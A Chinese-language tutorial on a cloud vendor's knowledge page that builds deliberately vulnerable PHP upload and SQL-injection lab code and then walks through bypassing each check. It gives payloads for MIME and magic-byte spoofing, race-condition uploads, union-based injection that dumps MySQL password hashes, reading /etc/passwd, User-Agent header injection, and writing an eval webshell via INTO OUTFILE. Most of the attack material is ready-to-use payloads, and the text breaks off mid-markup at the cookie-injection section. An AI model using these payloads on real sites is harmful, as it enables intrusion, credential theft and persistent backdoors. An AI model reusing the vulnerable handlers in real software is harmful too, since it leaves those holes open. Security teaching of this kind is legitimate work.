爆款云主机2核4G限时秒杀,88元/年起!
查看详情

活动

天翼云最新优惠活动,涵盖免费试用,产品折扣等,助您降本增效!
热门活动
  • 618智算钜惠季 爆款云主机2核4G限时秒杀,88元/年起!
  • 免费体验DeepSeek,上天翼云息壤 NEW 新老用户均可免费体验2500万Tokens,限时两周
  • 云上钜惠 HOT 爆款云主机全场特惠,更有万元锦鲤券等你来领!
  • 算力套餐 HOT 让算力触手可及
  • 天翼云脑AOne NEW 连接、保护、办公,All-in-One!
  • 中小企业应用上云专场 产品组合下单即享折上9折起,助力企业快速上云
  • 息壤高校钜惠活动 NEW 天翼云息壤杯高校AI大赛,数款产品享受线上订购超值特惠
  • 天翼云电脑专场 HOT 移动办公新选择,爆款4核8G畅享1年3.5折起,快来抢购!
  • 天翼云奖励推广计划 加入成为云推官,推荐新用户注册下单得现金奖励
免费活动
  • 免费试用中心 HOT 多款云产品免费试用,快来开启云上之旅
  • 天翼云用户体验官 NEW 您的洞察,重塑科技边界

智算服务

打造统一的产品能力,实现算网调度、训练推理、技术架构、资源管理一体化智算服务
智算云(DeepSeek专区)
科研助手
  • 算力商城
  • 应用商城
  • 开发机
  • 并行计算
算力互联调度平台
  • 应用市场
  • 算力市场
  • 算力调度推荐
一站式智算服务平台
  • 模型广场
  • 体验中心
  • 服务接入
智算一体机
  • 智算一体机
大模型
  • DeepSeek-R1-昇腾版(671B)
  • DeepSeek-R1-英伟达版(671B)
  • DeepSeek-V3-昇腾版(671B)
  • DeepSeek-R1-Distill-Llama-70B
  • DeepSeek-R1-Distill-Qwen-32B
  • Qwen2-72B-Instruct
  • StableDiffusion-V2.1
  • TeleChat-12B

应用商城

天翼云精选行业优秀合作伙伴及千余款商品,提供一站式云上应用服务
进入甄选商城进入云市场创新解决方案
办公协同
  • WPS云文档
  • 安全邮箱
  • EMM手机管家
  • 智能商业平台
财务管理
  • 工资条
  • 税务风控云
企业应用
  • 翼信息化运维服务
  • 翼视频云归档解决方案
工业能源
  • 智慧工厂_生产流程管理解决方案
  • 智慧工地
建站工具
  • SSL证书
  • 新域名服务
网络工具
  • 翼云加速
灾备迁移
  • 云管家2.0
  • 翼备份
资源管理
  • 全栈混合云敏捷版(软件)
  • 全栈混合云敏捷版(一体机)
行业应用
  • 翼电子教室
  • 翼智慧显示一体化解决方案

合作伙伴

天翼云携手合作伙伴,共创云上生态,合作共赢
天翼云生态合作中心
  • 天翼云生态合作中心
天翼云渠道合作伙伴
  • 天翼云代理渠道合作伙伴
天翼云服务合作伙伴
  • 天翼云集成商交付能力认证
天翼云应用合作伙伴
  • 天翼云云市场合作伙伴
  • 天翼云甄选商城合作伙伴
天翼云技术合作伙伴
  • 天翼云OpenAPI中心
  • 天翼云EasyCoding平台
天翼云培训认证
  • 天翼云学堂
  • 天翼云市场商学院
天翼云合作计划
  • 云汇计划
天翼云东升计划
  • 适配中心
  • 东升计划
  • 适配互认证

开发者

开发者相关功能入口汇聚
技术社区
  • 专栏文章
  • 互动问答
  • 技术视频
资源与工具
  • OpenAPI中心
开放能力
  • EasyCoding敏捷开发平台
培训与认证
  • 天翼云学堂
  • 天翼云认证
魔乐社区
  • 魔乐社区

支持与服务

为您提供全方位支持与服务,全流程技术保障,助您轻松上云,安全无忧
文档与工具
  • 文档中心
  • 新手上云
  • 自助服务
  • OpenAPI中心
定价
  • 价格计算器
  • 定价策略
基础服务
  • 售前咨询
  • 在线支持
  • 在线支持
  • 工单服务
  • 建议与反馈
  • 用户体验官
  • 服务保障
  • 客户公告
  • 会员中心
增值服务
  • 红心服务
  • 首保服务
  • 客户支持计划
  • 专家技术服务
  • 备案管家

了解天翼云

天翼云秉承央企使命,致力于成为数字经济主力军,投身科技强国伟大事业,为用户提供安全、普惠云服务
品牌介绍
  • 关于天翼云
  • 智算云
  • 天翼云4.0
  • 新闻资讯
  • 天翼云APP
基础设施
  • 全球基础设施
  • 信任中心
最佳实践
  • 精选案例
  • 超级探访
  • 云杂志
  • 分析师和白皮书
  • 天翼云·创新直播间
市场活动
  • 2025智能云生态大会
  • 2024智算云生态大会
  • 2023云生态大会
  • 2022云生态大会
  • 天翼云中国行
天翼云
  • 活动
  • 智算服务
  • 产品
  • 解决方案
  • 应用商城
  • 合作伙伴
  • 开发者
  • 支持与服务
  • 了解天翼云
      • 文档
      • 控制中心
      • 备案
      • 管理中心

      PHP 常见漏洞代码总结

      首页 知识中心 软件开发 文章详情页

      PHP 常见漏洞代码总结

      2023-06-19 06:57:29 阅读次数:458

      PHP,数据库

      漏洞总结

      PHP 文件上传漏洞

      只验证MIME类型: 代码中验证了上传的MIME类型,绕过方式使用Burp抓包,将上传的一句话小马*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上传.

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	if(isset($_POST['submit']))
      	{
      		if(file_exists(UPLOAD_PATH))
      		{
      			// 判断 content-type 的类型,如果是image/png则通过
      			if($_FILES['upload_file']['type'] == 'image/png')
      			{
      				$temp_file = $_FILES['upload_file']['tmp_name'];
      				$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
      				if (move_uploaded_file($temp_file, $img_path))
      					echo "上传完成.";
      				else
      					echo "上传出错.";
      			}
      		}
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      白名单的绕过: 白名单就是允许上传某种类型的文件,该方式比较安全,抓包上传php后门,然后将文件名改为.jpg即可上传成功,但是有时候上传后的文件会失效无法拿到Shell.

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	if(isset($_POST['submit']))
      	{
      		if(file_exists(UPLOAD_PATH))
      		{
      			$allow_ext = array(".jpg",".png",".jpeg");
      
      			$file_name = trim($_FILES['upload_file']['name']); // 取出文件名
      			$file_ext = strrchr($file_name, '.');
      			$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
      			$file_ext = strtolower($file_ext);                  // 转换为小写
      			$file_ext = trim($file_ext);                        // 首尾去空
      
      			if(in_array($file_ext, $allow_ext))
      			{
      				$temp_file = $_FILES['upload_file']['tmp_name'];
      				$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
      				 if (move_uploaded_file($temp_file,$img_path))
      				 	echo "上传完成: {$img_path} <br>";
      				 else
      				 	echo "上传失败 <br>";
      			}
      		}
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      白名单验证文件头: 本关主要是允许jpg/png/gif这三种文件的传输,且代码中检测了文件头的2字节内容,我们只需要将文件的头两个字节修改为图片的格式就可以绕过.

      通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG为例,我们在一句话木马的开头添加两个11也就是二进制的3131,然后将.php修改为.jpg,使用Brup抓包发送到Repeater模块,将HEX编码3131改为FFD8点Send后成功上传JPG.

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	function getReailFileType($filename)
      	{
      	    $file = fopen($filename, "rb");
      	    $bin = fread($file, 2);
      	    fclose($file);
      	    $strInfo = @unpack("C2chars", $bin);    
      	    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
      	    $fileType = '';    
      	    switch($typeCode)
      	    {      
      	        case 255216: $fileType = 'jpg'; break;
      	        case 13780:  $fileType = 'png'; break;        
      	        case 7173:   $fileType = 'gif'; break;
      	        default:     $fileType = 'unknown';
      	        }    
      	        return $fileType;
      	}
      
      	if(isset($_POST['submit']))
      	{
      		if(file_exists(UPLOAD_PATH))
      		{
      			$temp_file = $_FILES['upload_file']['tmp_name'];
          		$file_type = getReailFileType($temp_file);
          		 if($file_type == 'unknown')
          		 {
      		        echo "上传失败 <br>";
      		    }else
      		    {
      		        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
      		        if(move_uploaded_file($temp_file,$img_path))
      		        	echo "上传完成 <br>";
      		    }
      		}
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      绕过检测文件头: 这种方式是通过文件头部起始位置进行匹配的从而判断是否上传,我们可以通过在上传文件前面追加合法的文件头进行绕过,例如在文件开头部位加上GIF89a<?php phpinfo();?>即可完成绕过,或者如果是\xffxd8\xff我们需要在文件开头先写上%ff%d8%ff<?php phpinfo(); ?>然后,选择特殊字符,右击CONVERT->URL->URL-Decode编码后释放.

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	function getReailFileType($filename)
      	{
      	    $fh = fopen($filename, "rb");
      	    if($fh)
      	    {
      	    	$bytes = fread($fh,6);
      	    	fclose($fh);
      	    	if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
      	    		return "image/jpeg";
      	    	}
      	    	if($bytes == "\x89PNG\x0d\x0a"){
      	    		return "image/png";
      	    	}
      	    	if($bytes == "GIF87a" or $bytes == "GIF89a"){
      	    		return "image/gif";
      	    	}
      	    }
      	    return 'unknown';
      	}
      
      	if(isset($_POST['submit']))
      	{
      		if(file_exists(UPLOAD_PATH))
      		{
      			$temp_file = $_FILES['upload_file']['tmp_name'];
          		$file_type = getReailFileType($temp_file);
          		echo "状态: {$file_type} ";
          		 if($file_type == 'unknown')
          		 {
      		        echo "上传失败 <br>";
      		    }else
      		    {
      		    	$file_name = $_FILES['upload_file']['name'];
      	    		$img_path = UPLOAD_PATH . "/" . $file_name;
      		        if(move_uploaded_file($temp_file,$img_path))
      		        	echo "上传 {$img_path} 完成 <br>";
      		    }
      		}
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      图像检测绕过: 通过使用图像函数,检测文件是否为图像,如需上传则需要保持图像的完整性,所以无法通过追加文件头的方式绕过,需要制作图片木马上传.

      针对这种上传方式的绕过我们可以将图片与FIG文件合并在一起copy /b pic.gif+shell.php 1.php上传即可绕过.

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	function getReailFileType($filename)
      	{
      		// 检查是否为图像
      		if(@getimagesize($filename))
      		{
      			if(@imagecreatefromgif($filename)){
      				return "image/gif";
      			}
      			if(@imagecreatefrompng($filename)){
      				return "image/png";
      			}
      			if(@imagecreatefromjpeg($filename)){
      				return "image/jpeg";
      			}
      		}
      	    return 'unknown';
      	}
      
      	if(isset($_POST['submit']))
      	{
      		if(file_exists(UPLOAD_PATH))
      		{
      			$temp_file = $_FILES['upload_file']['tmp_name'];
          		$file_type = getReailFileType($temp_file);
          		echo "状态: {$file_type} ";
          		 if($file_type == 'unknown')
          		 {
      		        echo "上传失败 <br>";
      		    }else
      		    {
      		    	$file_name = $_FILES['upload_file']['name'];
      	    		$img_path = UPLOAD_PATH . "/" . $file_name;
      		        if(move_uploaded_file($temp_file,$img_path))
      		        	echo "上传 {$img_path} 完成 <br>";
      		    }
      		}
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      上传条件竞争: 这里是条件竞争,先将文件上传到服务器,然后判断文件后缀是否在白名单里,如果在则重命名,否则删除,因此我们可以上传1.php只需要在它删除之前访问即可,可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址即可

      <?php
      	header("Content-type: text/html;charset=utf-8");
      	define("UPLOAD_PATH", "./");
      
      	if(isset($_POST['submit']))
      	{
      		$ext_arr = array('jpg','png','gif');
      	    $file_name = $_FILES['upload_file']['name'];
      	    $temp_file = $_FILES['upload_file']['tmp_name'];
      	    $file_ext = substr($file_name,strrpos($file_name,".")+1);
      	    $upload_file = UPLOAD_PATH . '/' . $file_name;
      
      	    if(move_uploaded_file($temp_file, $upload_file))
      	    {
      	    	if(in_array($file_ext, $ext_arr))
      	    	{
      		    	$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
      	             rename($upload_file, $img_path);
      	             echo "上传完成. <br>";
      	    	}else
      	    	{
      	    		unlink($upload_file);
      	    		echo "上传失败. <br>";
      	    	}
      	    }
      	}
      ?>
      
      <body>
      	<form enctype="multipart/form-data" method="post">
              <input class="input_file" type="file" name="upload_file">
              <input class="button" type="submit" name="submit" value="上传">
          </form>
      </body>
      

      PHP 注入漏洞

      基本查询语句

      搭建SQL注入演练环境,首先确保MySQL版本为MySQL 5.7以上,并导入下方的数据库脚本自动创建相应的数据库文件.

      drop database if exists lyshark;
      create database lyshark;
      use lyshark;
      drop table if exists local_user;
      create table local_user(
      	id int(10) primary key not null,
      	username varchar(100) not null,
      	password varchar(100) not null,
      	usremail varchar(100) not null,
      	usertype int(1) default 0
      );
      alert table local_user character set utf8;
      insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
      (2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
      (4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
      (6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
      (8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
      (10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");
      

      接着安装好PHP7.0或以上版本的环境,并创建index.php文件,写入以下测试代码,数据库密码请自行修改.

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="utf8">
          <title>SQL 注入测试代码</title>
      </head>
      	<?php
      		header("Content-type: text/html;charset=utf8");
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      		    $id = $_GET['id'];
      		    if(isset($id))
      		    {
      	            $sql = "select * from local_user where id='$id' limit 0,1";
      	            $query = mysqli_query($connect,$sql);
      	            if($query)
      	            	$row = mysqli_fetch_array($query);
      		    }
      		}
      	?>
      <body>
      	<table border="1">
      	   <tr>
      	   		<th>序号</th><th>用户账号</th><th>用户密码</th><th>用户邮箱</th><th>权限</th>
      	   </tr>
      	   <tr>
                <td><?php echo $row['id']; ?></td>
                <td><?php echo $row['username']; ?></td>
                <td><?php echo $row['password']; ?></td>
                <td><?php echo $row['usremail']; ?></td>
                <td><?php echo $row['usertype']; ?></td>
      	   </tr>
      	</table><br>
      	<?php echo '<hr><b> 后端执行SQL语句:  </b>' . $sql;  ?>
      </body>
      </html>
      

      Union 查询字段个数: Union可以用于一个或多个SELECT的结果集,但是他有一个条件,就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,也就是说当我们union select的列与它查询的列相同时,页面返回正常.

      首先我们猜测,当前字段数为4的时候页面无返回,也就说明表字段数必然是大于4的,接着增加一个字段,查询1,2,3,4,5时页面显示正常,说明表结构是5个字段的.

      index.php?id=1' and 1=0 union select 1,2,3,4 --+
      
      index.php?id=1' and 1=0 union select 1,2,3,4,5 --+
      index.php?id=1' and 1=0 union select null,null,null,null,null --+
      

      Order By查询字段个数: 在SQL语句中是对结果集的指定列进行排序,比如我们想让结果集按照第一列排序就是order by 1按照第二列排序order by 2依次类推,按照这个原理我们来判断他的字段数,如果我们按照第1列进行排序数据库会返回正常,但是当我们按照第100列排序,因为数据库中并不存在第100列,从而报错或无法正常显示.

      首先我们猜测数据库有6个字段,尝试根据第6行进行排序发现数据无法显示,说明是小于6的,我们继续使用5测试,此时返回了结果.

      index.php?id=1' and 1 order by 6 --+
      index.php?id=1' and 1 order by 5 --+
      

      大部分程序只会调用数据库查询的第一条语句进行查询然后返回,如果想看到的数据是在第二条语句中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,第二种是通过sql语句直接返回我们想要的数据.

      第一种我们让第一个查询的结果始终为假,通过使用and 0来实现,或者通过limit语句,limit在mysql中是用来分页的,通过他可以从查询出来的数据中获取我们想要的数据.

      index.php?id=1' and 0 union select null,null,null,null,null --+
      index.php?id=1' and 0 union select null,version(),null,null,null --+
      
      index.php?id=1' union select null,null,null,null,null limit 1,1 --+
      index.php?id=1' union select null,version(),null,null,null limit 1,1 --+
      

      查全部数据库名称: MySQL默认将所有表数据放入information_schema.schemata这个表中进行存储,我们可以查询这个表中的数据从而找出当前系统中所有的数据库名称,通过控制limit中的参数即可爆出所有数据库.

      index.php?id=1' and 0 union select 1,1,database(),1,1 --+
      
      index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
      index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
      index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
      

      查询表中名称: 通过使用group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.

      # 通过 limit 限定条件每次只输出一个表名称
      
      index.php?id=1' and 0 union select 1,2,3,4,table_name
      from information_schema.tables where table_schema='lyshark' limit 0,1 --+
      
      index.php?id=1' and 0 union select 1,2,3,4,table_name
      from information_schema.tables where table_schema='lyshark' limit 1,1 --+
      
      # 通过 concat 函数一次性输出所有表
      index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)
      from information_schema.tables where table_schema='lyshark' --+
      

      查询表中字段: 通过使用table_schema和table_name指定查询条件,即可查询到表中字段与数据.

      # 查询出lyshark数据库local_user表中的,所有字段
      index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
      >              where table_schema='lyshark' and table_name='local_user' --+
      
      # 每次读取出一个表中字段,使用limit进行遍历
      index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
      >              where table_schema='lyshark' and table_name='local_user' limit 0,1 --+
      
      index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
      >              where table_schema='lyshark' and table_name='local_user' limit 1,1 --+
      

      查询表中数据: 通过上面的语句我们可以确定数据库名称,数据表,以及表中字段名称,接着可以进行读取表中数据.

      index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
      index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
      index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
      

      常用的查询语句: 除此以外,我们还可以使用以下常用判断条件的配合实现对数据库其他权限的进一步注入.

      # -----------------------------------------------------------------------------------
      # 判断注入点: 注入点的判断有多种形式,我们可以通过提交and/or/+-等符号来判断.
      
      index.php?id=1' and 1=1 --+    # 提交and判断注入
      index.php?id=1' and 1=0 --+
      index.php?id=1%2b1             # 提交加号判断注入
      index.php?id=2-1               # 提交减号判断注入
      index.php?id=1 and sleep(5)    # 延时判断诸如点
      
      # -----------------------------------------------------------------------------------
      # 判断ROOT权限: 判断数据库是否具有ROOT权限,如果返回了查询结果说明具有权限.
      index.php?id=1' and ord(mid(user(),1,1)) = 114 --+
      
      # -----------------------------------------------------------------------------------
      # 判断权限大小: 如果结果返回正常,说明具有读写权限,如果返回错误应该是管理员给数据库帐户降权了.
      index.php?id=1' and(select count(*) from mysql.user) > 0
      
      # -----------------------------------------------------------------------------------
      # 查询管理密码: 查询MySQL的管理密码,这里的#末尾警号,是注释符的意思,说明后面的都是注释.
      index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
      index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本
      
      # -----------------------------------------------------------------------------------
      # 向主站写入一句话: 可以写入一句话后门,但在linux系统上目录必须具有读写和执行权限.
      index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
      index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
      index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
      index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+
      
      # -----------------------------------------------------------------------------------
      # 利用MySQL引擎写一句话: 通过使用MySQL的存储引擎,以MySQL身份写入一句话
      create table shell(cmd text);
      insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
      select cmd from shell into outfile('/var/www/html/eval.php');
      
      # -----------------------------------------------------------------------------------
      # 常用判断语句: 下面是一些常用的注入查询语句,包括查询主机名等敏感操作.
      index.php?id=1' union select 1,1,load_file("/etc/passwd")       // 加载指定文件
      index.php?id=1' union select 1,1,@@datadir                      // 判断数据库目录
      index.php?id=1' union select 1,1,@@basedir                      // 判断安装根路径
      index.php?id=1' union select 1,1,@@hostname                     // 判断主机名
      index.php?id=1' union select 1,1,@@version                      // 判断数据库版本
      index.php?id=1' union select 1,1,@@version_compile_os           // 判断系统类型(Linux)
      index.php?id=1' union select 1,1,@@version_compile_machine      // 判断系统体系(x86)
      index.php?id=1' union select 1,1,user()                         // 曝出系统用户
      index.php?id=1' union select 1,1,database()                     // 曝出当前数据库
      

      GET 注入

      简单的注入测试: 本关中没有对代码进行任何的过滤.

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="utf8">
          <title>SQL 注入测试代码</title>
      </head>
      <body>
      	<?php
      		function getCurrentUrl()
      		{
      		    $scheme = $_SERVER['REQUEST_SCHEME'];   // 协议
      		    $domain = $_SERVER['HTTP_HOST'];        // 域名
      		    $requestUri = $_SERVER['REQUEST_URI'];  // 请求参数
      		    $currentUrl = $scheme . "://" . $domain . $requestUri;
      		    return urldecode($currentUrl);
      		}
      	?>
      	<?php
      		header("Content-type: text/html;charset=utf8");
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      		    $id = $_GET['id'];
      		    if(isset($id))
      		    {
      		        $sql = "select username,password from local_user where id='$id' limit 0,1";
      		        $query = mysqli_query($connect,$sql);
      		        if($query)
      		        {
      		        	$row = mysqli_fetch_array($query);
      	        		if($row)
      					{
      					  	echo "<font size='5'>";
      					  	echo "账号: {$row['username']} <br>";
      					  	echo "密码: {$row['password']} <br>";
      					  	echo "</font>";
      					  	echo "后端执行语句: {$sql} <br>";
      					  	$URL = getCurrentUrl();
      					  	echo "后端URL参数: {$URL} <br>";
      				  	}
      					else 
      					{
      						echo "后端执行语句: {$sql} <br>";
      						print_r(mysql_error());
      					}
      		        }
      		    }
      		}
      	?>
      </body>
      </html>
      

      SQL语句没有经过任何过滤,或者是过滤不严格,会导致注入的发生.

      ---------------------------------------------------------------------------------
      $sql = "select username,password from local_user where id=$id limit 0,1";
      http://127.0.0.1/index.php?id=-1 union select 1,version() --+
      
      $sql = "select username,password from local_user where id=($id) limit 0,1";
      http://127.0.0.1/index.php?id=-1) union select 1,version() --+
      http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+
      
      ---------------------------------------------------------------------------------
      $sql = "select username,password from local_user where id='$id' limit 0,1";
      http://127.0.0.1/index.php?id=-1 union select 1,version() --+
      
      $sql = "select username,password from local_user where id=('$id') limit 0,1";
      http://127.0.0.1/index.php?id=-1') union select 1,version() --+
      http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+
      
      $sql = "select username,password from local_user where id=(('$id')) limit 0,1";
      http://127.0.0.1/index.php?id=-1')) union select 1,version() --+
      
      ---------------------------------------------------------------------------------
      $id = '"' . $id . "'";
      $sql = "select username,password from local_user where id=($id) limit 0,1";
      
      http://127.0.0.1/index.php?id=-1") union select 1,version() --+
      http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+
      

      POST 输入框注入:

      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="utf8">
      </head>
      <body>
      <form action="" method="post">
      	账号: <input  type="text"  name="uname" value=""/><br>
      	密码: <input   type="password" name="passwd" value=""/>
      	<input type="submit" name="submit" value="提交表单" />
      </form>
      	<?php
      		header("Content-type: text/html;charset=utf8");
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      			$uname=$_POST['uname'];
      			$passwd=$_POST['passwd'];
      			$passwd = md5($passwd);
      
      		    if(isset($_POST['uname']) && isset($_POST['passwd']))
      		    {
      		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
      		        $query = mysqli_query($connect,$sql);
      		        if($query)
      		        {
      		        	$row = mysqli_fetch_array($query);
      		        	if($row)
      		        	{
      		        		echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
      		        		echo "后端执行语句: {$sql} <br>";
      		        	}
      		        	else
      		        	{
      		        		echo "<br>后端执行语句: {$sql} <br>";
      		        	}
      		        }
      		    }
      		}
      	?>
      </body>
      </html>
      

      简单的进行查询测试,此处的查询语句没有经过任何的过滤限制,所以呢你可以直接脱裤子了.

      # ---------------------------------------------------------------------------------------------------------
      # SQL语句
      $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
      # ---------------------------------------------------------------------------------------------------------
      
      # 爆出字段数
      admin' order by 1 #
      admin' order by 2 -- 
      admin' and 1 union select 1,2,3 #
      admin' and 1 union select 1,2 #
      
      # 爆出数据库
      admin ' and 0 union select null,database() #
      admin' and 0 union select 1,version() #
      
      # 爆出所有表名称(需要注意数据库编码格式)
      set character_set_database=utf8;
      set collation_database= utf8_general_ci
      alter table local_user convert to character set utf8;
      
      ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
      ' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #
      
      # 爆出表中字段
      ' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
      ' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #
      
      # 继续爆出所有的用户名密码
      ' union select null,group_concat(username,0x3a,password) from local_user #
      
      # ---------------------------------------------------------------------------------------------------------
      # 双注入-字符型
      # 此类注入很简单,只需要闭合前面的")而后面则使用#注释掉即可
      $uname = '"' .  $uname . '"';
      $passwd = '"' . $passwd . '"';
      $sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";
      
      #payload
      admin") order by 2 #
      admin") and 0 union select 1,version() #
      admin") and 0 union select 1,database() #
      
      # ---------------------------------------------------------------------------------------------------------
      # POST型的-双注入
      # 
      $uname = '"' .  $uname . '"';
      $passwd = '"' . $passwd . '"';
      $sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";
      
      admin" and 0 union select 1,version() #
      

      Usage-Agent 注入: Usagen-Agent是客户请求时携带的请求头,该头部是客户端可控,如果有带入数据库的相关操作,则可能会产生SQL注入问题.

      建库> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));
      
      <!DOCTYPE html>
      <html lang="en">
      <head>
          <meta charset="utf8">
          <title>SQL 注入测试代码</title>
      </head>
      <body>
      <form action="" method="post">
      	账号: <input  type="text"  name="uname" value=""/><br>
      	密码: <input   type="password" name="passwd" value=""/>
      	<input type="submit" name="submit" value="Submit" />
      </form>
      	<?php
      		header("Content-type: text/html;charset=utf8");
      		error_reporting(0);
      		$connect = mysqli_connect("localhost","root","12345678","lyshark");
      		if($connect)
      		{
      		    if(isset($_POST['uname']) && isset($_POST['passwd']))
      		    {
      				$uname=$_POST['uname'];
      				$passwd=$_POST['passwd'];
      				$passwd = md5($passwd);
      
      		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
      		        $query = mysqli_query($connect,$sql);
      		        if($query)
      		        {
      		        	$row = mysqli_fetch_array($query);
      		        	if($row)
      		        	{
      		        		// 获取到用户的Agent客户请求体
      		        		$Uagent = $_SERVER['HTTP_USER_AGENT'];
      						// REMOTE_ADDR 是调用的底层的会话ip地址,理论上是不可以伪造的
      						$IP = $_SERVER['REMOTE_ADDR'];
      
      						echo "<br>欢迎用户: {$row['username']} 密码: {$row['password']} <br><br>";
      						echo "您的IP地址是: {$IP} <br>";
      
      						$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
      						mysqli_query($connect,$insert_sql);
      						echo "User_Agent请求头: {$Uagent} <br>";
      		        	}
      		        }
      		    }
      		}
      	?>
      </body>
      </html>
      

      首先我们通过burp提交登录请求,然后再登陆时,修改agent请求头,让其带入数据库查询.

      POST /post.php HTTP/1.1
      Host: 192.168.1.2
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      
      uname=admin&passwd=123123&submit=Submit
      

      修改agent验证,可被绕过,此处的语句带入数据库变为了insert into User_Agent values('1)','u_addr','u_agent')有时,不存在回显的地方即使存在注入也无法得到结果,但却是一个安全隐患,需要引起重视.

      User-Agent: 1',1,1)#
      uname=admin&passwd=123123&submit=Submit
      
      User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
      uname=admin&passwd=123123&submit=Submit
      

      Cookie 注入: 该注入的产生原因是因为程序员没有将COOKIE进行合法化检测,并将其代入到了数据库中查询了且查询变量是可控的,当用户登录成功后会产生COOKIE,每次页面刷新后端都会拿着这个COOKIE带入数据库查找,这是非常危险的.

      <!DOCTYPE html>
      <html lang="en">
      <head>
